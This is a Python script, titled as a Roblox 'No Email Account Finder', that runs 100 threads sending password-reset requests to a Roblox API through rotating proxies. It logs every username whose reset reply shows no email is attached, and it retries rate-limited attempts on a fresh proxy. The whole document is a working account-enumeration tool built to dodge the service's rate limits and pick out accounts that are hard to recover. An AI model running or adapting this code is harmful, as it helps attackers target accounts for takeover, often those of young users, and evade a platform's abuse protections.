Roblox - No Email Account Finder

import requests
import threading

usernames = [x for x in open("usernames.txt", encoding="UTF-8").read().splitlines()]
proxies = open("proxies.txt").read().splitlines()

output_file = open("noemail.txt", "a")

def reset_password(un, proxy):
    req = requests.post(
        url="https://api.roblox.com/account/resetpassword",
        json={"username": un},
        proxies={"https":proxy}
    )
    print(req.text)
    return req.json()

def thread():
    while True:
        try:
            username = usernames.pop()
            proxy = proxies.pop()

            # gotta make sure we have an up-to-date username
            username = requests.get(f"https://api.roblox.com/users/get-by-username?username={username}").json()["Username"]

            try:
                status = reset_password(username, proxy)["Message"]
            except:
                print(proxy,"fail")
                usernames.insert(0, username)
                continue

            if status == "Invalid username, or no email exists":
                output_file.write(username+"\n")
                output_file.flush()
            elif status == "Too many attempts. Please try again later.":
                usernames.insert(0, username)
                proxies.insert(0, proxy)
        except Exception as e:
            print(e)

for i in range(100): threading.Thread(target=thread).start()